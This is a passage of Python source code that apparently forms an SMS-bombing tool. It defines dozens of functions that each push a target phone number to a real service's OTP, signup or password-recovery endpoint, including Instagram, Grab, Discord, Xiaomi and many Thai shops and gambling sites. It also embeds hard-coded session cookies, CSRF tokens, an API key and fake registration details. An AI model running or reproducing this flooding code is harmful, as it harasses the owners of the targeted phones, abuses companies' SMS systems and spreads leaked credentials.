session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.684",headers=header,json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone":phone,"type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName":"ฟงฟง ฟงฟว"}}) def api37(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", json={"reqId":"39816-1633012470","params":{"phone": phone,"language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def api38(phone): post("https://api.1112delivery.com/api/v1/otp/create", data={'phonenumber': phone,'language': "th"}) def api39(phone): post("https://gccircularlivingshop.com/sms/sendOtp", json={"grant_type":"otp","username": phone,"password":"","client":"ecommerce"},headers={}) def api40(phone): headers={ "organizationcode": "lifestyle", "content-type": "application/json" } json = {"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone,"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"} post("https://graph.firster.com/graphql",headers=headers,json=json) def api41(phone): post("https://m.riches666.com/api/register-otp", data={"brands_id":"60a6563a232a600012521982","agent_register":"60a76a7f233d2900110070e0","tel":phone}) def api42(phone): post("https://www.pruksa.com/member/member_otp/re_create",headers=header,data=f"required=otp&mobile={phone}") def api43(phone): post("https://vaccine.trueid.net/vacc-verify/api/getotp",headers=header,json={"msisdn":phone,"function":"enroll"}) def api44(phone): post("https://ufa108.ufabetcash.com/api/",headers=header,data=f"cmd=request_form_register_detail_check&web_account_id=36&auto_bank_group_id=1&m_name=sl&m_surname=ak&m_line=snsb1j&m_bank=4&m_account_number=8572178402&m_from=41&m_phone={phone}") def api45(phone): post("https://www.mrcash.top/h5/LoginMessage_ultimate",data = {"phone": phone,"type":"2","ctype":"1"}) def api46(phone): post("https://www.qqmoney.ltd/jackey/sms/login",json = {"appId":"5fc9ff297eb51f1196350635","companyId":"5fc9ff12197278da22aff029","mobile": phone},headers={"Content-Type": "application/json;charset=UTF-8"}) def api47(phone): post("https://www.monomax.me/api/v2/signup/telno",json ={"password":"12345678+","telno": phone}) def api48(phone): post("https://m.pgwin168.com/api/register-otp",json ={"brands_id":"60e4016f35119800184f34a5","agent_register":"60e57c3b2ead950012fc5fba","tel": phone}) def api49(phone): post("https://www.som777.com/api/otp/register",json ={"applicant": phone,"serviceName":"SOM777"}) def api50(phone): post("https://www.konglor888.com/api/otp/register",json = {"applicant": phone,"serviceName":"KONGLOR888"}) def api51(phone): get("https://api.quickcash8.com/v1/login/captcha?timestamp=1636359633&sign=3a11b88fbf58615099d15639e714afcc&token=&version=2.3.2&appsFlyerId=1636346593405-2457389151564256014&platform=android&channel_str=&phone="+phone+"&img_code=", headers = {"Host": "api.quickcash8.com", "Connection": "Keep-Alive", "Accept": "gzip", "User-Agent": "okhttp/3.11.0"}) def api52(phone): get("https://users.cars24.co.th/oauth/consumer-app/otp/"+phone+"?lang=th", headers = {"accept": "application/json, text/plain, */*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) def api71(phone): post("https://www.bigthailand.com/authentication-service/user/OTP", json={"locale":"th","phone": f"+66{phone[1:]}","email":"dkdk@gmail.com","userParams":{"buyerName":"ekek ks","activateLink":"www.google.com"}},headers={"content-type": "application/json","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Bearer eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg","cookie": 